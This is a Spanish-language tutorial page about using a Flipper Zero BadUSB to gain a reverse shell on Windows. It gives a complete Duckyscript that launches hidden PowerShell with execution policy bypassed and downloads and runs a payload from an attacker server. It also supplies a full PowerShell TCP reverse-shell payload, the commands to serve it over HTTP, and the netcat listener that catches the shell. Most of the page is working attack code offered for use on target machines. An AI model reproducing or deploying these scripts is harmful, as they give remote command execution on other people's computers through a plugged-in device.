Page cover image

👿Duckyscript Reverse Shell

En esta página encontrarás un ejemplo de cómo podemos ejecutar una reverse shell con el Bad USB para acceder a un sistema Windows de forma remota.

Script en Duckyscript

Debes modificar el puerto para que apunte a tu máquina atacante

REM Configuración: Cambia [IP_ATACANTE] y [PUERTO] a tu servidor y puerto deseados.
DELAY 500
GUI r
DELAY 500
STRING powershell -w hidden -NoP -NonI -Ep Bypass -C "IEX(New-Object Net.WebClient).DownloadString('http://[IP_ATACANTE]:[PUERTO]/payload.ps1');"
ENTER

Guardamos este script como revshell.txt y lo guardamos en el Flipper Zero con qFlipper dentro de la carpeta de BadUSB:

Pasos explicados

1. Archivo payload.ps1

En tu máquina de atacante, crea el archivo payload.ps1 que contenga el código de PowerShell para una reverse shell. Aquí tienes un ejemplo de contenido:

Debes modificar la IP y puerto para que apunte a tu máquina atacante

payload.ps1
$client = New-Object System.Net.Sockets.TCPClient('[IP_ATACANTE]', [PUERTO]);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2  = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();

Necesitamos codificar en Base64 el payload para que se ejecute correctamente. Podemos usar CyberChef por ejemplo:

Una vez lo tenemos codificado en base64 guardamos el archivo payload.ps1

2. Abrir servidor local con python

Sirve este archivo en un servidor HTTP simple, como:

afsh4ck@kali$ python3 -m http.server 80

3. Abrir listener con Netcat en Kali Linux

En otra terminal abre un servidor de escucha para recibir la conexión de la reverse shell:

afsh4ck@kali$ nc -lvnp [PUERTO]

Ejecutar el script

  1. Conecta el Flipper Zero y ejecuta el script en un sistema Windows objetivo.

  2. El script abre PowerShell con la combinación de teclas Win + R, descarga el payload desde el servidor HTTP y lo ejecuta de forma oculta, devolviéndonos una reverse shell a nuestra máquina de atacante.

Última actualización

¿Te fue útil?